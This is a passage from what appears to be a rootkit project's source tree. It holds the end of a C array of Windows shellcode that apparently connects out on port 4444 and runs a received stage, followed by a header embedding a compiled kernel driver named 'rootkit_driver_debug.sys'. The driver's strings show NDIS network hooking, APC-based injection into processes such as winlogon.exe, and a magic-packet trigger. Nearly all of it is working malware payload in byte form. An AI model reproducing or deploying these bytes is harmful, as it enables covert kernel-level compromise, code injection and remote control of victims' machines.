0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,
0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,
0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,
0xd5,0x97,0x31,0xdb,0x53,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,
0x68,0xc2,0xdb,0x37,0x67,0xff,0xd5,0x53,0x57,0x68,0xb7,0xe9,0x38,0xff,0xff,0xd5,
0x53,0x53,0x57,0x68,0x74,0xec,0x3b,0xe1,0xff,0xd5,0x57,0x97,0x68,0x75,0x6e,0x4d,
0x61,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,
0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,
0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0xc8,0x00,0x00,0x00,0x27,0x30,0x2e,0x30,0x34,0x30,0x3b,0x30,
0x4d,0x30,0x54,0x30,0x66,0x30,0x73,0x30,0x85,0x30,0x97,0x30,0x9e,0x30,0xba,0x30,
0xd5,0x30,0xdc,0x30,0xee,0x30,0x03,0x31,0x0d,0x31,0x2b,0x31,0x38,0x31,0x40,0x31,
0x46,0x31,0x4d,0x31,0x66,0x31,0x6e,0x31,0x74,0x31,0x7b,0x31,0x88,0x31,0x8f,0x31,
0x9e,0x31,0xa4,0x31,0xb6,0x31,0xbd,0x31,0xca,0x31,0xd1,0x31,0xef,0x31,0xf4,0x31,
0x7e,0x32,0x85,0x32,0x95,0x32,0xa0,0x32,0xae,0x32,0xb5,0x32,0xe3,0x32,0x00,0x33,
0x0a,0x33,0x17,0x33,0x2b,0x33,0x31,0x33,0x3b,0x33,0x63,0x33,0x68,0x33,0x70,0x33,
0x78,0x33,0x83,0x33,0xc4,0x33,0xca,0x33,0xcf,0x33,0xd7,0x33,0xec,0x33,0xf1,0x33,
0x05,0x34,0x0a,0x34,0x2a,0x34,0x56,0x34,0x86,0x34,0x8c,0x34,0x9b,0x34,0xa3,0x34,
0xc0,0x34,0xc9,0x34,0xd0,0x34,0xe2,0x34,0xe8,0x34,0xee,0x34,0xf4,0x34,0xfa,0x34,
0x00,0x35,0x06,0x35,0x0c,0x35,0x12,0x35,0x18,0x35,0x1e,0x35,0x24,0x35,0x2a,0x35,
0x30,0x35,0x36,0x35,0x3c,0x35,0x42,0x35,0x48,0x35,0x4e,0x35,0x54,0x35,0x5a,0x35,
0x60,0x35,0x66,0x35,0x6c,0x35,0x72,0x35,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
================================================
FILE: src/includes/rootkit_driver_debug.sys.h
================================================
// 23680 bytes readed form ..\rootkit_driver_debug.sys...
unsigned char rootkit_driver[] =
{
0x4d,0x5a,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xff,0xff,0x00,0x00,
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0x00,0x00,0x00,
0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,
0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,
0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,
0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x45,0x95,0x8a,0x93,0x01,0xf4,0xe4,0xc0,0x01,0xf4,0xe4,0xc0,0x01,0xf4,0xe4,0xc0,
0x01,0xf4,0xe5,0xc0,0x2b,0xf4,0xe4,0xc0,0x26,0x32,0x9f,0xc0,0x04,0xf4,0xe4,0xc0,
0x26,0x32,0x89,0xc0,0x03,0xf4,0xe4,0xc0,0x08,0x8c,0x60,0xc0,0x07,0xf4,0xe4,0xc0,
0x08,0x8c,0x76,0xc0,0x00,0xf4,0xe4,0xc0,0x08,0x8c,0x75,0xc0,0x00,0xf4,0xe4,0xc0,
0x52,0x69,0x63,0x68,0x01,0xf4,0xe4,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x50,0x45,0x00,0x00,0x4c,0x01,0x04,0x00,0xc6,0x01,0xe4,0x50,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xe0,0x00,0x02,0x21,0x0b,0x01,0x09,0x00,0x00,0x56,0x00,0x00,
0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x26,0x00,0x00,0x80,0x02,0x00,0x00,
0x80,0x2d,0x00,0x00,0x00,0x00,0x00,0x10,0x80,0x00,0x00,0x00,0x80,0x00,0x00,0x00,
0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x80,0x5c,0x00,0x00,0x80,0x02,0x00,0x00,0x46,0xc6,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,
0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x41,0x00,0x00,0x00,
0xf4,0x54,0x00,0x00,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x80,0x59,0x00,0x00,0xd0,0x02,0x00,0x00,0x80,0x03,0x00,0x00,0x1c,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x68,0x0e,0x00,0x00,0x40,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x02,0x00,0x00,0xb0,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2e,0x74,0x65,0x78,0x74,0x00,0x00,0x00,
0x8c,0x2a,0x00,0x00,0x80,0x02,0x00,0x00,0x00,0x2b,0x00,0x00,0x80,0x02,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x68,
0x2e,0x64,0x61,0x74,0x61,0x00,0x00,0x00,0xa0,0x00,0x00,0x00,0x80,0x2d,0x00,0x00,
0x00,0x01,0x00,0x00,0x80,0x2d,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xc8,0x49,0x4e,0x49,0x54,0x00,0x00,0x00,0x00,
0xfa,0x2a,0x00,0x00,0x80,0x2e,0x00,0x00,0x00,0x2b,0x00,0x00,0x80,0x2e,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0xe2,
0x2e,0x72,0x65,0x6c,0x6f,0x63,0x00,0x00,0xd8,0x02,0x00,0x00,0x80,0x59,0x00,0x00,
0x00,0x03,0x00,0x00,0x80,0x59,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x44,0x59,0x00,0x00,0x2c,0x59,0x00,0x00,0x5e,0x59,0x00,0x00,0x00,0x00,0x00,0x00,
0x1c,0x56,0x00,0x00,0x30,0x56,0x00,0x00,0x48,0x56,0x00,0x00,0x66,0x56,0x00,0x00,
0x82,0x56,0x00,0x00,0x9a,0x56,0x00,0x00,0xb0,0x56,0x00,0x00,0xba,0x56,0x00,0x00,
0xd4,0x56,0x00,0x00,0xe8,0x56,0x00,0x00,0xf2,0x56,0x00,0x00,0x0c,0x57,0x00,0x00,
0x26,0x57,0x00,0x00,0x3e,0x57,0x00,0x00,0x52,0x57,0x00,0x00,0x64,0x57,0x00,0x00,
0x7c,0x57,0x00,0x00,0x0e,0x56,0x00,0x00,0xb0,0x57,0x00,0x00,0xc4,0x57,0x00,0x00,
0xd4,0x57,0x00,0x00,0xe6,0x57,0x00,0x00,0x06,0x58,0x00,0x00,0x1a,0x58,0x00,0x00,
0x24,0x58,0x00,0x00,0x2e,0x58,0x00,0x00,0x46,0x58,0x00,0x00,0x50,0x58,0x00,0x00,
0x5a,0x58,0x00,0x00,0x76,0x58,0x00,0x00,0x98,0x58,0x00,0x00,0xb6,0x58,0x00,0x00,
0xd2,0x58,0x00,0x00,0xea,0x58,0x00,0x00,0x0a,0x59,0x00,0x00,0x04,0x56,0x00,0x00,
0xec,0x55,0x00,0x00,0x98,0x57,0x00,0x00,0xe0,0x55,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xc6,0x01,0xe4,0x50,0x00,0x00,0x00,0x00,0x58,0x03,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x72,0x6f,0x6f,0x74,0x6b,0x69,0x74,0x5f,
0x64,0x72,0x69,0x76,0x65,0x72,0x5f,0x64,0x65,0x62,0x75,0x67,0x2e,0x73,0x79,0x73,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xc6,0x01,0xe4,0x50,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0x64,0x00,0x00,0x00,0xb0,0x0e,0x00,0x00,0xb0,0x0e,0x00,0x00,0x42,0x00,0x6f,0x00,
0x67,0x00,0x75,0x00,0x73,0x00,0x50,0x00,0x72,0x00,0x6f,0x00,0x74,0x00,0x6f,0x00,
0x00,0x00,0x00,0x00,0x4e,0x64,0x69,0x73,0x52,0x65,0x67,0x69,0x73,0x74,0x65,0x72,
0x50,0x72,0x6f,0x74,0x6f,0x63,0x6f,0x6c,0x28,0x29,0x20,0x66,0x61,0x69,0x6c,0x73,
0x3b,0x20,0x73,0x74,0x61,0x74,0x75,0x73,0x3a,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,
0x0a,0x00,0x00,0x00,0x49,0x6e,0x6a,0x65,0x63,0x74,0x4b,0x65,0x72,0x6e,0x65,0x6c,
0x41,0x70,0x63,0x52,0x6f,0x75,0x74,0x69,0x6e,0x65,0x28,0x29,0x0a,0x00,0x00,0x00,
0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x69,0x6e,0x64,0x50,0x72,0x6f,0x63,0x65,0x73,
0x73,0x28,0x29,0x3a,0x20,0x22,0x25,0x77,0x5a,0x22,0x2c,0x20,0x50,0x49,0x44,0x20,
0x3d,0x20,0x25,0x64,0x0a,0x00,0x00,0x00,0x50,0x73,0x4c,0x6f,0x6f,0x6b,0x75,0x70,
0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x42,0x79,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,
0x49,0x64,0x28,0x29,0x20,0x45,0x52,0x52,0x4f,0x52,0x3b,0x20,0x73,0x74,0x61,0x74,
0x75,0x73,0x3a,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x50,0x73,0x4c,0x6f,
0x6f,0x6b,0x75,0x70,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x42,0x79,0x50,0x72,0x6f,
0x63,0x65,0x73,0x73,0x49,0x64,0x28,0x29,0x20,0x45,0x52,0x52,0x4f,0x52,0x3b,0x20,
0x73,0x74,0x61,0x74,0x75,0x73,0x3a,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,
0x49,0x6d,0x6a,0x65,0x63,0x74,0x4d,0x61,0x70,0x44,0x6c,0x6c,0x49,0x6d,0x61,0x67,
0x65,0x28,0x29,0x3a,0x20,0x4d,0x65,0x6d,0x6f,0x72,0x79,0x20,0x66,0x6f,0x72,0x20,
0x69,0x6d,0x61,0x67,0x65,0x20,0x61,0x6c,0x6c,0x6f,0x63,0x61,0x74,0x65,0x64,0x20,
0x61,0x74,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x49,0x6d,0x6a,0x65,
0x63,0x74,0x4d,0x61,0x70,0x44,0x6c,0x6c,0x49,0x6d,0x61,0x67,0x65,0x28,0x29,0x20,
0x45,0x58,0x43,0x45,0x50,0x54,0x49,0x4f,0x4e,0x0a,0x00,0x00,0x5a,0x77,0x41,0x6c,
0x6c,0x6f,0x63,0x61,0x74,0x65,0x56,0x69,0x72,0x74,0x75,0x61,0x6c,0x4d,0x65,0x6d,
0x6f,0x72,0x79,0x28,0x29,0x20,0x66,0x61,0x69,0x6c,0x73,0x3b,0x20,0x73,0x74,0x61,
0x74,0x75,0x73,0x3a,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x00,
0x5a,0x77,0x51,0x75,0x65,0x72,0x79,0x49,0x6e,0x66,0x6f,0x72,0x6d,0x61,0x74,0x69,
0x6f,0x6e,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x28,0x29,0x20,0x66,0x61,0x69,0x6c,
0x73,0x3b,0x20,0x73,0x74,0x61,0x74,0x75,0x73,0x3a,0x20,0x30,0x78,0x25,0x2e,0x38,
0x78,0x0a,0x00,0x00,0x49,0x6e,0x6a,0x65,0x63,0x74,0x49,0x6e,0x74,0x6f,0x50,0x72,
0x6f,0x63,0x65,0x73,0x73,0x28,0x29,0x3a,0x20,0x49,0x6d,0x61,0x67,0x65,0x20,0x65,
0x6e,0x74,0x72,0x79,0x20,0x70,0x6f,0x69,0x6e,0x74,0x20,0x69,0x73,0x20,0x61,0x74,
0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x00,0x43,0x61,0x6c,0x6c,
0x67,0x61,0x74,0x65,0x20,0x61,0x6c,0x6c,0x6f,0x63,0x61,0x74,0x65,0x64,0x20,0x61,
0x74,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x49,0x6e,0x6a,0x65,
0x63,0x74,0x49,0x6e,0x74,0x6f,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x28,0x29,0x3a,
0x20,0x45,0x72,0x72,0x6f,0x72,0x20,0x77,0x68,0x69,0x6c,0x65,0x20,0x64,0x65,0x6c,
0x69,0x76,0x65,0x72,0x69,0x6e,0x67,0x20,0x41,0x50,0x43,0x0a,0x00,0x00,0x00,0x00,
0x49,0x6e,0x6a,0x65,0x63,0x74,0x49,0x6e,0x74,0x6f,0x50,0x72,0x6f,0x63,0x65,0x73,
0x73,0x28,0x29,0x3a,0x20,0x41,0x50,0x43,0x20,0x64,0x65,0x6c,0x69,0x76,0x65,0x72,
0x65,0x64,0x21,0x0a,0x00,0x00,0x00,0x00,0x4b,0x65,0x49,0x6e,0x73,0x65,0x72,0x74,
0x51,0x75,0x65,0x75,0x65,0x41,0x70,0x63,0x28,0x29,0x20,0x45,0x52,0x52,0x4f,0x52,
0x0a,0x00,0x00,0x00,0x5a,0x77,0x41,0x6c,0x6c,0x6f,0x63,0x61,0x74,0x65,0x56,0x69,
0x72,0x74,0x75,0x61,0x6c,0x4d,0x65,0x6d,0x6f,0x72,0x79,0x28,0x29,0x20,0x66,0x61,
0x69,0x6c,0x73,0x3b,0x20,0x73,0x74,0x61,0x74,0x75,0x73,0x3a,0x20,0x30,0x78,0x25,
0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x00,0x49,0x6e,0x6a,0x65,0x63,0x74,0x49,0x6e,
0x74,0x6f,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x28,0x29,0x20,0x45,0x58,0x43,0x45,
0x50,0x54,0x49,0x4f,0x4e,0x0a,0x00,0x00,0x4f,0x62,0x4f,0x70,0x65,0x6e,0x4f,0x62,
0x6a,0x65,0x63,0x74,0x42,0x79,0x50,0x6f,0x69,0x6e,0x74,0x65,0x72,0x28,0x29,0x20,
0x66,0x61,0x69,0x6c,0x73,0x3b,0x20,0x73,0x74,0x61,0x74,0x75,0x73,0x3a,0x20,0x30,
0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x49,0x6e,0x6a,0x65,0x63,0x74,0x49,0x6e,
0x74,0x6f,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x42,0x79,0x4e,0x61,0x6d,0x65,0x28,
0x29,0x20,0x45,0x52,0x52,0x4f,0x52,0x3a,0x20,0x55,0x6e,0x61,0x62,0x6c,0x65,0x20,
0x74,0x6f,0x20,0x66,0x69,0x6e,0x64,0x20,0x70,0x72,0x6f,0x63,0x65,0x73,0x73,0x20,
0x22,0x25,0x77,0x73,0x22,0x0a,0x00,0x00,0x49,0x6e,0x6a,0x65,0x63,0x74,0x49,0x6e,
0x74,0x6f,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x42,0x79,0x49,0x64,0x28,0x29,0x20,
0x45,0x52,0x52,0x4f,0x52,0x3a,0x20,0x55,0x6e,0x61,0x62,0x6c,0x65,0x20,0x74,0x6f,
0x20,0x66,0x69,0x6e,0x64,0x20,0x70,0x72,0x6f,0x63,0x65,0x73,0x73,0x20,0x50,0x49,
0x44,0x3d,0x25,0x64,0x0a,0x00,0x00,0x00,0x49,0x6e,0x6a,0x65,0x63,0x74,0x49,0x6e,
0x69,0x74,0x69,0x61,0x6c,0x69,0x7a,0x65,0x28,0x29,0x20,0x45,0x52,0x52,0x4f,0x52,
0x3a,0x20,0x55,0x6e,0x6b,0x6e,0x6f,0x77,0x6e,0x20,0x4e,0x54,0x20,0x76,0x65,0x72,
0x73,0x69,0x6f,0x6e,0x0a,0x00,0x00,0x00,0x4e,0x74,0x50,0x72,0x6f,0x74,0x65,0x63,
0x74,0x56,0x69,0x72,0x74,0x75,0x61,0x6c,0x4d,0x65,0x6d,0x6f,0x72,0x79,0x28,0x29,
0x20,0x53,0x44,0x54,0x20,0x6e,0x75,0x6d,0x62,0x65,0x72,0x20,0x69,0x73,0x20,0x30,
0x78,0x25,0x78,0x0a,0x00,0x00,0x00,0x00,0x4e,0x64,0x69,0x73,0x48,0x6f,0x6f,0x6b,
0x49,0x6e,0x69,0x74,0x69,0x61,0x6c,0x69,0x7a,0x65,0x28,0x29,0x20,0x45,0x52,0x52,
0x4f,0x52,0x3a,0x20,0x4e,0x44,0x49,0x53,0x20,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,
0x20,0x30,0x78,0x25,0x78,0x20,0x69,0x73,0x20,0x6e,0x6f,0x74,0x20,0x73,0x75,0x70,
0x70,0x6f,0x72,0x74,0x65,0x64,0x0a,0x00,0x2e,0x74,0x65,0x78,0x74,0x00,0x00,0x00,
0x54,0x00,0x43,0x00,0x50,0x00,0x49,0x00,0x50,0x00,0x00,0x00,0x4e,0x64,0x69,0x73,
0x48,0x6f,0x6f,0x6b,0x53,0x65,0x74,0x28,0x29,0x3a,0x20,0x22,0x54,0x43,0x50,0x49,
0x50,0x22,0x20,0x70,0x72,0x6f,0x74,0x6f,0x63,0x6f,0x6c,0x20,0x61,0x64,0x64,0x72,
0x65,0x73,0x73,0x20,0x69,0x73,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,
0x4e,0x64,0x69,0x73,0x48,0x6f,0x6f,0x6b,0x53,0x65,0x74,0x28,0x29,0x3a,0x20,0x4f,
0x70,0x65,0x6e,0x20,0x62,0x6c,0x6f,0x63,0x6b,0x20,0x3d,0x20,0x30,0x78,0x25,0x2e,
0x38,0x78,0x2c,0x20,0x4d,0x69,0x6e,0x69,0x70,0x6f,0x72,0x74,0x20,0x3d,0x20,0x30,
0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x4e,0x64,0x69,0x73,0x48,0x6f,0x6f,0x6b,
0x53,0x65,0x74,0x28,0x29,0x3a,0x20,0x48,0x6f,0x6f,0x6b,0x69,0x6e,0x67,0x20,0x4d,
0x69,0x6e,0x69,0x70,0x6f,0x72,0x74,0x44,0x70,0x63,0x3a,0x20,0x30,0x78,0x25,0x2e,
0x38,0x78,0x20,0x2d,0x3e,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,
0x4e,0x64,0x69,0x73,0x48,0x6f,0x6f,0x6b,0x53,0x65,0x74,0x28,0x29,0x20,0x45,0x52,
0x52,0x4f,0x52,0x3a,0x20,0x55,0x6e,0x61,0x62,0x6c,0x65,0x20,0x74,0x6f,0x20,0x66,
0x69,0x6e,0x64,0x20,0x22,0x54,0x43,0x50,0x49,0x50,0x22,0x20,0x70,0x72,0x6f,0x74,
0x6f,0x63,0x6f,0x6c,0x0a,0x00,0x00,0x00,0x25,0x64,0x2e,0x25,0x64,0x2e,0x25,0x64,
0x2e,0x25,0x64,0x00,0x00,0x00,0x00,0x00,0x77,0x00,0x69,0x00,0x6e,0x00,0x6c,0x00,
0x6f,0x00,0x67,0x00,0x6f,0x00,0x6e,0x00,0x2e,0x00,0x65,0x00,0x78,0x00,0x65,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4e,0x64,0x69,0x73,0x48,0x6f,0x6f,0x6b,
0x48,0x61,0x6e,0x64,0x6c,0x65,0x42,0x75,0x66,0x66,0x65,0x72,0x28,0x29,0x20,0x49,
0x50,0x3a,0x20,0x46,0x72,0x6f,0x6d,0x20,0x3d,0x20,0x25,0x73,0x2c,0x20,0x54,0x6f,
0x20,0x3d,0x20,0x25,0x73,0x2c,0x20,0x50,0x72,0x6f,0x74,0x6f,0x63,0x6f,0x6c,0x20,
0x3d,0x20,0x25,0x64,0x2c,0x20,0x4c,0x65,0x6e,0x67,0x74,0x68,0x20,0x3d,0x20,0x25,
0x64,0x0a,0x00,0x00,0x52,0x4b,0x43,0x54,0x4c,0x3a,0x37,0x43,0x35,0x45,0x33,0x33,
0x38,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x4e,0x64,0x69,0x73,0x48,0x6f,0x6f,0x6b,
0x48,0x61,0x6e,0x64,0x6c,0x65,0x42,0x75,0x66,0x66,0x65,0x72,0x28,0x29,0x3a,0x20,
0x4d,0x61,0x67,0x69,0x63,0x20,0x73,0x65,0x71,0x75,0x65,0x6e,0x63,0x65,0x20,0x68,
0x61,0x73,0x20,0x62,0x65,0x65,0x6e,0x20,0x66,0x69,0x6e,0x64,0x20,0x69,0x6e,0x20,
0x6e,0x65,0x74,0x77,0x6f,0x72,0x6b,0x20,0x70,0x61,0x63,0x6b,0x65,0x74,0x21,0x0a,
0x00,0x00,0x00,0x00,0x50,0x73,0x43,0x72,0x65,0x61,0x74,0x65,0x53,0x79,0x73,0x74,
0x65,0x6d,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,0x20,0x66,0x61,0x69,0x6c,0x73,
0x3a,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x44,0x72,0x69,0x76,
0x65,0x72,0x45,0x6e,0x74,0x72,0x79,0x43,0x6f,0x6e,0x74,0x69,0x6e,0x75,0x65,0x54,
0x68,0x72,0x65,0x61,0x64,0x28,0x29,0x3a,0x20,0x50,0x61,0x72,0x61,0x6d,0x20,0x3d,
0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x00,0x45,0x78,0x41,0x6c,
